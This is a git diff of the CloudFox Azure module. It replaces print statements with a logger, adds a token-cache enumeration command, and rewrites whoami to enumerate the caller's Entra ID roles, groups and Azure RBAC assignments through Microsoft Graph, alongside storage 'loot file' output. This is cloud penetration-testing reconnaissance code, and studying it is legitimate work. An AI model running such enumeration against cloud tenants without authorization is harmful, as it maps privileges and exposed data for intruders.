@@ -80,7 +71,7 @@ func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_RBAC_MODULE_NAME)
}
if body != nil {
@@ -142,13 +133,13 @@ func (c *CloudFoxRBACclient) initialize(tenantID string, subscriptionIDs []strin
for _, subID := range subscriptionIDs {
rd, err := getRoleDefinitions(subID)
if err != nil {
fmt.Printf("[%s] failed to get role definitions for subscription %s: %s. Skipping it.\n", color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME), subID, err)
azureLogger.WarnM(fmt.Sprintf("Failed to get role definitions for subscription %s: %s. Skipping it.", subID, err), globals.AZ_RBAC_MODULE_NAME)
}
c.roleDefinitions = append(c.roleDefinitions, rd...)
ra, err := getRoleAssignments(subID)
if err != nil {
fmt.Printf("[%s] failed to get role assignments for subscription %s: %s. Skipping it.\n", color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME), subID, err)
azureLogger.WarnM(fmt.Sprintf("Failed to get role assignments for subscription %s: %s. Skipping it.", subID, err), globals.AZ_RBAC_MODULE_NAME)
}
c.roleAssignments = append(c.roleAssignments, ra...)
}
@@ -239,11 +230,11 @@ func mockedGetAzureADUsers(tenantID string) ([]graphrbac.User, error) {
file, err := os.ReadFile(globals.AAD_USERS_TEST_FILE)
if err != nil {
log.Fatalf("could not read file %s", globals.AAD_USERS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.AAD_USERS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
err = json.Unmarshal(file, &users)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.AAD_USERS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.AAD_USERS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
return users.AzureADUsers, nil
}
@@ -253,15 +244,15 @@ func generateAzureADUsersTestFIle(tenantID string) {
// ObjectID *string `json:"objectId,omitempty"`
users, err := getAzureADUsers(tenantID)
if err != nil {
log.Fatalf("could not enumerate users for tenant %s", tenantID)
azureLogger.FatalM(fmt.Sprintf("Could not enumerate users for tenant %s", tenantID), globals.AZ_RBAC_MODULE_NAME)
}
usersJSON, err := json.Marshal(AzureADUsersTestFile{AzureADUsers: users})
if err != nil {
log.Fatalf("could not marshall json for azure ad users in tenant %s", tenantID)
azureLogger.FatalM(fmt.Sprintf("Could not marshal JSON for Azure AD users in tenant %s", tenantID), globals.AZ_RBAC_MODULE_NAME)
}
err = os.WriteFile(globals.AAD_USERS_TEST_FILE, usersJSON, os.ModeAppend)
if err != nil {
log.Fatalf("could not write to azure ad users test file %s", globals.AAD_USERS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not write to Azure AD users test file %s", globals.AAD_USERS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
}
@@ -291,11 +282,11 @@ func mockedGetRoleDefinitions(subscriptionID string) ([]authorization.RoleDefini
var roleDefinitions RoleDefinitionTestFile
file, err := os.ReadFile(globals.ROLE_DEFINITIONS_TEST_FILE)
if err != nil {
log.Fatalf("could not read file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.ROLE_DEFINITIONS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
err = json.Unmarshal(file, &roleDefinitions)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.ROLE_DEFINITIONS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
return roleDefinitions.RoleDefinitions, nil
}
@@ -307,11 +298,11 @@ func generateRoleDefinitionsTestFile(subscriptionID string) {
roleDefinitions, err := getRoleDefinitions(subscriptionID)
if err != nil {
log.Fatal(err)
azureLogger.FatalM(err.Error(), globals.AZ_RBAC_MODULE_NAME)
}
roleAssignments, err := getRoleAssignments(subscriptionID)
if err != nil {
log.Fatal(err)
azureLogger.FatalM(err.Error(), globals.AZ_RBAC_MODULE_NAME)
}
var roleDefinitionsResults []authorization.RoleDefinition
@@ -333,12 +324,12 @@ func generateRoleDefinitionsTestFile(subscriptionID string) {
rolesjson, err := json.Marshal(tf)
if err != nil {
log.Fatalf("could not marshall json for role definitions in subscription %s", subscriptionID)
azureLogger.FatalM(fmt.Sprintf("Could not marshal JSON for role definitions in subscription %s", subscriptionID), globals.AZ_RBAC_MODULE_NAME)
}
err = os.WriteFile(globals.ROLE_DEFINITIONS_TEST_FILE, rolesjson, os.ModeAppend)
if err != nil {
log.Fatalf("could not write to role definitions test file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not write to role definitions test file %s", globals.ROLE_DEFINITIONS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
}
@@ -367,11 +358,11 @@ func mockedGetRoleAssignments(subscriptionID string) ([]authorization.RoleAssign
var allRoleAssignments, roleAssignmentsResults []authorization.RoleAssignment
file, err := os.ReadFile(globals.ROLE_ASSIGNMENTS_TEST_FILE)
if err != nil {
log.Fatalf("could not read file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
err = json.Unmarshal(file, &allRoleAssignments)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
for _, ra := range allRoleAssignments {
roleAssignmentSubscriptionID := strings.Split(ptr.ToString(ra.Properties.RoleDefinitionID), "/")[2]
@@ -385,15 +376,15 @@ func mockedGetRoleAssignments(subscriptionID string) ([]authorization.RoleAssign
func generateRoleAssignmentsTestFile(subscriptionID string) {
ra, err := getRoleAssignments(subscriptionID)
if err != nil {
log.Fatalf("could not generate role assignments for subscription %s", subscriptionID)
azureLogger.FatalM(fmt.Sprintf("Could not generate role assignments for subscription %s", subscriptionID), globals.AZ_RBAC_MODULE_NAME)
}
roleAssginments, err := json.Marshal(RoleAssignmentsTestFile{RoleAssignments: ra})
if err != nil {
log.Fatalf("could not marshall json for role assignments in subscription %s", subscriptionID)
azureLogger.FatalM(fmt.Sprintf("Could not marshal JSON for role assignments in subscription %s", subscriptionID), globals.AZ_RBAC_MODULE_NAME)
}
err = os.WriteFile(globals.ROLE_ASSIGNMENTS_TEST_FILE, roleAssginments, os.ModeAppend)
if err != nil {
log.Fatalf("could not write to azure ad users test file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not write to role assignments test file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
}
}
+2
View File
@@ -9,6 +9,8 @@ import (
"github.com/aws/smithy-go/ptr"
)
var azureLogger = internal.NewLogger()
type TenantInfo struct {
ID *string
DefaultDomain *string
+4 -11
View File
@@ -16,7 +16,6 @@ import (
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
// Color functions
@@ -46,9 +45,7 @@ func AzStorageCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirect
var err error
fmt.Printf("[%s][%s] Enumerating storage accounts for tenant %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME),
fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
azureLogger.InfoM(fmt.Sprintf("Enumerating storage accounts for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_STORAGE_MODULE_NAME)
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
@@ -87,7 +84,7 @@ func AzStorageCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirect
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_STORAGE_MODULE_NAME)
}
return nil
@@ -115,11 +112,7 @@ func runStorageCommandForSingleSubcription(AzSubscription string, AzOutputDirect
o.PrefixIdentifier = AzSubscriptionInfo.Name
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
fmt.Printf(
"[%s][%s] Enumerating storage accounts for subscription %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
azureLogger.InfoM(fmt.Sprintf("Enumerating storage accounts for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), globals.AZ_STORAGE_MODULE_NAME)
//AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscription))
header, body, publicBlobURLs, err = getStorageInfoPerSubscription(ptr.ToString(tenantInfo.ID), AzSubscriptionInfo.ID)
if err != nil {
@@ -167,7 +160,7 @@ func writeBlobURLslootFile(callingModule, controlMessagePrefix, outputDirectory
}
}
fmt.Printf("[%s][%s] Loot file written to [%s]\n", cyan(callingModule), cyan(controlMessagePrefix), file.Name())
azureLogger.SuccessM(fmt.Sprintf("Loot file written to [%s]", file.Name()), callingModule)
return nil
}
+68
View File
@@ -0,0 +1,68 @@
package azure
import (
"fmt"
"path/filepath"
"strconv"
"time"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
)
func AzTokenCacheCommand(outputDirectory, version string, wrap bool, verbosity int, listResourceGroups bool) error {
azureLogger.InfoM("Enumerating Azure CLI sessions...", globals.AZ_TOKENCACHE_MODULE_NAME)
header, body := getTokenCacheRelevantDataSubsOnly()
fileName := globals.AZ_TOKENCACHE_MODULE_NAME + "-subscriptions"
if listResourceGroups {
header, body = getTokenCacheRelevantDataPerRG()
fileName = globals.AZ_TOKENCACHE_MODULE_NAME + "-resource-groups"
}
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: globals.AZ_TOKENCACHE_MODULE_NAME,
PrefixIdentifier: "N/A",
Table: internal.TableClient{
Wrap: wrap,
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "tokencache-data"),
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: header,
Body: body,
Name: fmt.Sprintf("%s-%s", fileName, strconv.FormatInt(time.Now().Unix(), 10)),
})
o.WriteFullOutput(o.Table.TableFiles, nil)
return nil
}
func getTokenCacheRelevantDataPerRG() ([]string, [][]string) {
header := []string{"Tenant ID", "Tenant Primary Domain", "Subscription ID", "Subscription Name", "RG Name", "Region"}
var body [][]string
for _, tenant := range getTenants() {
for _, subscription := range GetSubscriptions() {
if ptr.ToString(tenant.TenantID) != ptr.ToString(subscription.TenantID) {
continue
}
for _, resourceGroup := range getResourceGroups(ptr.ToString(subscription.SubscriptionID)) {
body = append(body, []string{ptr.ToString(subscription.TenantID), ptr.ToString(tenant.DefaultDomain), ptr.ToString(subscription.SubscriptionID), ptr.ToString(subscription.DisplayName), ptr.ToString(resourceGroup.Name), ptr.ToString(resourceGroup.Location)})
}
}
}
return header, body
}
func getTokenCacheRelevantDataSubsOnly() ([]string, [][]string) {
header := []string{"Tenant ID", "Tenant Primary Domain", "Subscription ID", "Subscription Name"}
var body [][]string
for _, tenant := range getTenants() {
for _, subscription := range GetSubscriptions() {
if ptr.ToString(tenant.TenantID) == ptr.ToString(subscription.TenantID) {
body = append(body, []string{ptr.ToString(subscription.TenantID), ptr.ToString(tenant.DefaultDomain), ptr.ToString(subscription.SubscriptionID), ptr.ToString(subscription.DisplayName)})
}
}
}
return header, body
}
+7 -13
View File
@@ -16,8 +16,6 @@ import (
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
@@ -39,9 +37,7 @@ func AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory,
Wrap: AzWrapTable,
},
}
fmt.Printf("[%s][%s] Enumerating VMs for tenant %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_VMS_MODULE_NAME),
fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
azureLogger.InfoM(fmt.Sprintf("Enumerating VMs for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_VMS_MODULE_NAME)
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
@@ -84,7 +80,7 @@ func AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory,
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_VMS_MODULE_NAME)
}
return nil
@@ -110,9 +106,7 @@ func runVMsCommandForSingleSubscription(AzSubscription string, AzOutputDirectory
o.PrefixIdentifier = AzSubscriptionInfo.Name
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
fmt.Printf("[%s][%s] Enumerating VMs for subscription %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_VMS_MODULE_NAME),
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
azureLogger.InfoM(fmt.Sprintf("Enumerating VMs for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), globals.AZ_VMS_MODULE_NAME)
// populate the table data
header, body, userData = getVMsPerSubscriptionID(AzSubscriptionInfo.ID)
@@ -153,7 +147,7 @@ func getVMsPerTenantID(AzTenantID string) ([]string, [][]string, string) {
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
resultsHeader, b, userData, err = getComputeRelevantData(s, rg)
if err != nil {
fmt.Printf("[%s] Could not enumerate VMs for resource group %s in subscription %s\n", color.CyanString(globals.AZ_VMS_MODULE_NAME), ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID))
azureLogger.WarnM(fmt.Sprintf("Could not enumerate VMs for resource group %s in subscription %s: %s", ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID), err), globals.AZ_VMS_MODULE_NAME)
} else {
resultsBody = append(resultsBody, b...)
userDataCombined += userData
@@ -175,7 +169,7 @@ func getVMsPerSubscriptionID(AzSubscriptionID string) ([]string, [][]string, str
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
resultsHeader, b, userData, err = getComputeRelevantData(s, rg)
if err != nil {
fmt.Printf("[%s] Could not enumerate VMs for resource group %s in subscription %s\n", color.CyanString(globals.AZ_VMS_MODULE_NAME), ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID))
azureLogger.WarnM(fmt.Sprintf("Could not enumerate VMs for resource group %s in subscription %s: %s", ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID), err), globals.AZ_VMS_MODULE_NAME)
} else {
resultsBody = append(resultsBody, b...)
userDataCombined += userData
@@ -209,13 +203,13 @@ func getComputeRelevantData(sub subscriptions.Subscription, rg resources.Group)
// get userdata
vmDetails, err := getComputeVmInfo(subscriptionID, resourceGroupName, ptr.ToString(vm.Name))
if err != nil {
fmt.Println("error fetching vm details for vm: ", ptr.ToString(vm.Name))
azureLogger.WarnM(fmt.Sprintf("Error fetching VM details for %s: %s", ptr.ToString(vm.Name), err), globals.AZ_VMS_MODULE_NAME)
}
if vmDetails.VirtualMachineProperties != nil && vmDetails.VirtualMachineProperties.UserData != nil {
userData, err := base64.StdEncoding.DecodeString(ptr.ToString(vmDetails.VirtualMachineProperties.UserData))
if err != nil {
fmt.Println("error decoding userdata for vm: ", ptr.ToString(vm.Name))
azureLogger.WarnM(fmt.Sprintf("Error decoding user data for VM %s: %s", ptr.ToString(vm.Name), err), globals.AZ_VMS_MODULE_NAME)
}
//append userdata from this vm to the string with headers and newlines for VM name, location, and resource group name
userDataString += fmt.Sprintf(
+1 -1
View File
@@ -92,7 +92,7 @@ func TestAzVMsCommand(t *testing.T) {
err := AzVMsCommand(s.azTenantID, s.azSubscriptionID, s.azOutputFormat, s.azOutputDirectory, s.version, 2, s.wrapTableOutput, s.azMergedTable)
if err != nil {
log.Fatalf(err.Error())
log.Fatal(err)
}
}
}
+334 -69
View File
@@ -2,56 +2,66 @@ package azure
import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
"log"
"io"
"net/http"
"net/url"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"time"
"github.com/Azure/azure-sdk-for-go/profiles/latest/authorization/mgmt/authorization"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/resources"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
"github.com/Azure/azure-sdk-for-go/sdk/azcore"
"github.com/Azure/azure-sdk-for-go/sdk/azcore/policy"
"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzWhoamiCommand(AzOutputDirectory, version string, AzWrapTable bool, AzVerbosity int, AzWhoamiListRGsAlso bool) error {
func AzWhoamiCommand(AzOutputDirectory, version string, AzWrapTable bool, AzVerbosity int) error {
o := internal.OutputClient{
Verbosity: AzVerbosity,
CallingModule: globals.AZ_WHOAMI_MODULE_NAME,
Table: internal.TableClient{
Wrap: AzWrapTable,
Wrap: AzWrapTable,
DirectoryName: filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "whoami-data"),
},
}
fmt.Printf("[%s][%s] Enumerating Azure CLI sessions...\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", version)), color.CyanString(globals.AZ_WHOAMI_MODULE_NAME))
var header []string
var body [][]string
fileTimestamp := strconv.FormatInt(time.Now().Unix(), 10)
o.PrefixIdentifier = "N/A"
if !AzWhoamiListRGsAlso {
// cloudfox azure whoami
header, body = getWhoamiRelevantDataSubsOnly()
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "whoami-data")
// append timestamp to filename (time from epoch)
o.Table.TableFiles = append(o.Table.TableFiles,
internal.TableFile{
Header: header,
Body: body,
Name: fmt.Sprintf(globals.AZ_WHOAMI_MODULE_NAME+"-subs-only") + "-" + strconv.FormatInt((time.Now().Unix()), 10)})
azureLogger.InfoM("Enumerating caller's Entra ID roles", globals.AZ_WHOAMI_MODULE_NAME)
roleHeader, roleBody, roleErrors := getWhoamiEntraRoles()
for _, err := range roleErrors {
azureLogger.WarnM(fmt.Sprintf("Could not enumerate Entra ID roles: %s", err), globals.AZ_WHOAMI_MODULE_NAME)
}
if len(roleBody) > 0 {
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: roleHeader,
Body: roleBody,
Name: globals.AZ_WHOAMI_MODULE_NAME + "-entra-memberships-" + fileTimestamp,
})
}
} else {
// cloudfox azure whoami --list-rgs
header, body = getWhoamiRelevantDataPerRG()
o.Table.DirectoryName = filepath.Join(ptr.ToString(internal.GetLogDirPath()), globals.AZ_DIR_BASE, "whoami-data")
o.Table.TableFiles = append(o.Table.TableFiles,
internal.TableFile{
Header: header,
Body: body,
Name: globals.AZ_WHOAMI_MODULE_NAME + "-" + strconv.FormatInt((time.Now().Unix()), 10)})
azureLogger.InfoM("Enumerating caller's Azure RBAC roles", globals.AZ_WHOAMI_MODULE_NAME)
rbacHeader, rbacBody, rbacErrors := getWhoamiAzureRBAC()
for _, err := range rbacErrors {
azureLogger.WarnM(fmt.Sprintf("Could not enumerate Azure RBAC roles: %s", err), globals.AZ_WHOAMI_MODULE_NAME)
}
if len(rbacBody) > 0 {
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: rbacHeader,
Body: rbacBody,
Name: globals.AZ_WHOAMI_MODULE_NAME + "-azure-rbac-" + fileTimestamp,
})
}
//internal.PrintTableToScreen(header, body, AzWrapTable)
@@ -60,52 +70,307 @@ func AzWhoamiCommand(AzOutputDirectory, version string, AzWrapTable bool, AzVerb
return nil
}
func getWhoamiRelevantDataPerRG() ([]string, [][]string) {
tableHead := []string{"Tenant ID", "Tentant Primary Domain", "Subscription ID", "Subscription Name", "RG Name", "Region"}
var tableBody [][]string
const microsoftGraphScope = "https://graph.microsoft.com/.default"
for _, t := range getTenants() {
for _, s := range GetSubscriptions() {
if ptr.ToString(t.TenantID) == ptr.ToString(s.TenantID) {
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
tableBody = append(
tableBody,
[]string{
ptr.ToString(s.TenantID),
ptr.ToString(t.DefaultDomain),
ptr.ToString(s.SubscriptionID),
ptr.ToString(s.DisplayName),
ptr.ToString(rg.Name),
ptr.ToString(rg.Location),
})
}
}
}
}
var (
graphBaseURL = "https://graph.microsoft.com/v1.0"
graphHTTPClient = http.DefaultClient
getWhoamiEntraRoles = getWhoamiEntraRolesOriginal
getWhoamiAzureRBAC = getWhoamiAzureRBACOriginal
)
return tableHead, tableBody
type entraRole struct {
ODataType string `json:"@odata.type"`
ID string `json:"id"`
DisplayName string `json:"displayName"`
Description string `json:"description"`
}
func getWhoamiRelevantDataSubsOnly() ([]string, [][]string) {
tableHead := []string{"Tenant ID", "Tenant Primary Domain", "Subscription ID", "Subscription Name"}
var tableBody [][]string
type entraRolePage struct {
Value []entraRole `json:"value"`
NextLink string `json:"@odata.nextLink"`
}
for _, t := range getTenants() {
for _, s := range GetSubscriptions() {
if ptr.ToString(t.TenantID) == ptr.ToString(s.TenantID) {
tableBody = append(
tableBody,
[]string{
ptr.ToString(s.TenantID),
ptr.ToString(t.DefaultDomain),
ptr.ToString(s.SubscriptionID),
ptr.ToString(s.DisplayName),
})
type graphErrorResponse struct {
Error struct {
Code string `json:"code"`
Message string `json:"message"`
} `json:"error"`
}
type tokenClaims struct {
ObjectID string `json:"oid"`
Name string `json:"name"`
PreferredUsername string `json:"preferred_username"`
AppID string `json:"appid"`
IdentityType string `json:"idtyp"`
}
func getWhoamiEntraRolesOriginal() ([]string, [][]string, []error) {
header := []string{"Tenant ID", "Tenant Primary Domain", "Principal ID", "Principal Name", "Principal Type", "Membership Type", "Membership Name", "Description"}
var body [][]string
var errs []error
for _, tenant := range getTenants() {
tenantID := ptr.ToString(tenant.TenantID)
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
if err != nil {
errs = append(errs, fmt.Errorf("tenant %s: create Azure CLI credential: %w", tenantID, err))
continue
}
claims, memberships, err := getCallerDirectoryMemberships(context.Background(), cred)
if err != nil {
errs = append(errs, fmt.Errorf("tenant %s: %w", tenantID, err))
continue
}
principalName := claims.PreferredUsername
if principalName == "" {
principalName = claims.Name
}
principalType := "User"
if claims.IdentityType == "app" || (claims.PreferredUsername == "" && claims.AppID != "") {
principalType = "Service Principal"
}
foundRole := false
for _, membership := range memberships {
membershipType := directoryMembershipType(membership.ODataType)
if membershipType == "" {
continue
}
membershipName := membership.DisplayName
if membershipName == "" {
membershipName = membership.ID
}
body = append(body, []string{tenantID, ptr.ToString(tenant.DefaultDomain), claims.ObjectID, principalName, principalType, membershipType, membershipName, membership.Description})
foundRole = foundRole || membershipType == "Directory Role"
}
if !foundRole {
body = append(body, []string{tenantID, ptr.ToString(tenant.DefaultDomain), claims.ObjectID, principalName, principalType, "Directory Role", "(none)", "No active Entra ID directory roles found"})
}
}
return tableHead, tableBody
sort.Slice(body, func(i, j int) bool {
if body[i][0] == body[j][0] {
if body[i][5] == body[j][5] {
return body[i][6] < body[j][6]
}
return body[i][5] < body[j][5]
}
return body[i][0] < body[j][0]
})
return header, body, errs
}
func getCallerEntraRoles(ctx context.Context, cred azcore.TokenCredential) (tokenClaims, []entraRole, error) {
claims, memberships, err := getCallerDirectoryMemberships(ctx, cred)
if err != nil {
return tokenClaims{}, nil, err
}
var roles []entraRole
for _, object := range memberships {
if directoryMembershipType(object.ODataType) == "Directory Role" {
roles = append(roles, object)
}
}
return claims, roles, nil
}
func directoryMembershipType(odataType string) string {
switch {
case strings.EqualFold(odataType, "#microsoft.graph.directoryRole"), strings.EqualFold(odataType, "#Microsoft.DirectoryServices.DirectoryRole"):
return "Directory Role"
case strings.EqualFold(odataType, "#microsoft.graph.group"), strings.EqualFold(odataType, "#Microsoft.DirectoryServices.Group"):
return "Group"
default:
return ""
}
}
func getCallerDirectoryMemberships(ctx context.Context, cred azcore.TokenCredential) (tokenClaims, []entraRole, error) {
token, err := cred.GetToken(ctx, policy.TokenRequestOptions{Scopes: []string{microsoftGraphScope}})
if err != nil {
return tokenClaims{}, nil, fmt.Errorf("get Microsoft Graph access token: %w", err)
}
claims, err := parseTokenClaims(token.Token)
if err != nil {
return tokenClaims{}, nil, err
}
nextLink := fmt.Sprintf("%s/directoryObjects/%s/transitiveMemberOf", strings.TrimRight(graphBaseURL, "/"), url.PathEscape(claims.ObjectID))
var memberships []entraRole
for nextLink != "" {
page, err := getEntraRolePage(ctx, token.Token, nextLink)
if err != nil {
return tokenClaims{}, nil, err
}
memberships = append(memberships, page.Value...)
nextLink = page.NextLink
}
return claims, memberships, nil
}
type rbacPrincipal struct {
ID string
Name string
AssignmentType string
}
func getWhoamiAzureRBACOriginal() ([]string, [][]string, []error) {
header := []string{"Tenant ID", "Subscription ID", "Subscription Name", "Principal ID", "Principal Name", "Assignment Via", "Azure RBAC Role", "Scope"}
var body [][]string
var errs []error
for _, tenant := range getTenants() {
tenantID := ptr.ToString(tenant.TenantID)
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
if err != nil {
errs = append(errs, fmt.Errorf("tenant %s: create Azure CLI credential: %w", tenantID, err))
continue
}
claims, memberships, err := getCallerDirectoryMemberships(context.Background(), cred)
if err != nil {
errs = append(errs, fmt.Errorf("tenant %s: get caller's groups: %w", tenantID, err))
continue
}
callerName := claims.PreferredUsername
if callerName == "" {
callerName = claims.Name
}
principals := map[string]rbacPrincipal{
strings.ToLower(claims.ObjectID): {ID: claims.ObjectID, Name: callerName, AssignmentType: "Direct"},
}
for _, object := range memberships {
if directoryMembershipType(object.ODataType) != "Group" {
continue
}
groupName := object.DisplayName
if groupName == "" {
groupName = object.ID
}
principals[strings.ToLower(object.ID)] = rbacPrincipal{ID: object.ID, Name: groupName, AssignmentType: "Group"}
}
foundAssignment := false
for _, subscription := range GetSubscriptionsPerTenantID(tenantID) {
subscriptionID := ptr.ToString(subscription.SubscriptionID)
assignments, err := getRoleAssignments(subscriptionID)
if err != nil {
errs = append(errs, fmt.Errorf("subscription %s: %w", subscriptionID, err))
continue
}
definitions, err := getRoleDefinitions(subscriptionID)
if err != nil {
errs = append(errs, fmt.Errorf("subscription %s: %w", subscriptionID, err))
}
roleNames := roleDefinitionNames(definitions)
rows := azureRBACRowsForSubscription(tenantID, subscriptionID, ptr.ToString(subscription.DisplayName), principals, roleNames, assignments)
body = append(body, rows...)
foundAssignment = foundAssignment || len(rows) > 0
}
if !foundAssignment {
body = append(body, []string{tenantID, "", "", claims.ObjectID, callerName, "Direct or Group", "(none)", "No Azure RBAC assignments found in accessible subscriptions"})
}
}
sort.Slice(body, func(i, j int) bool {
for _, column := range []int{0, 1, 6, 5, 4} {
if body[i][column] != body[j][column] {
return body[i][column] < body[j][column]
}
}
return body[i][7] < body[j][7]
})
return header, body, errs
}
func azureRBACRowsForSubscription(tenantID, subscriptionID, subscriptionName string, principals map[string]rbacPrincipal, roleNames map[string]string, assignments []authorization.RoleAssignment) [][]string {
var rows [][]string
for _, assignment := range assignments {
principal, ok := principals[strings.ToLower(ptr.ToString(assignment.Properties.PrincipalID))]
if !ok {
continue
}
roleDefinitionID := lastResourceIDSegment(ptr.ToString(assignment.Properties.RoleDefinitionID))
roleName := roleNames[strings.ToLower(roleDefinitionID)]
if roleName == "" {
roleName = roleDefinitionID
}
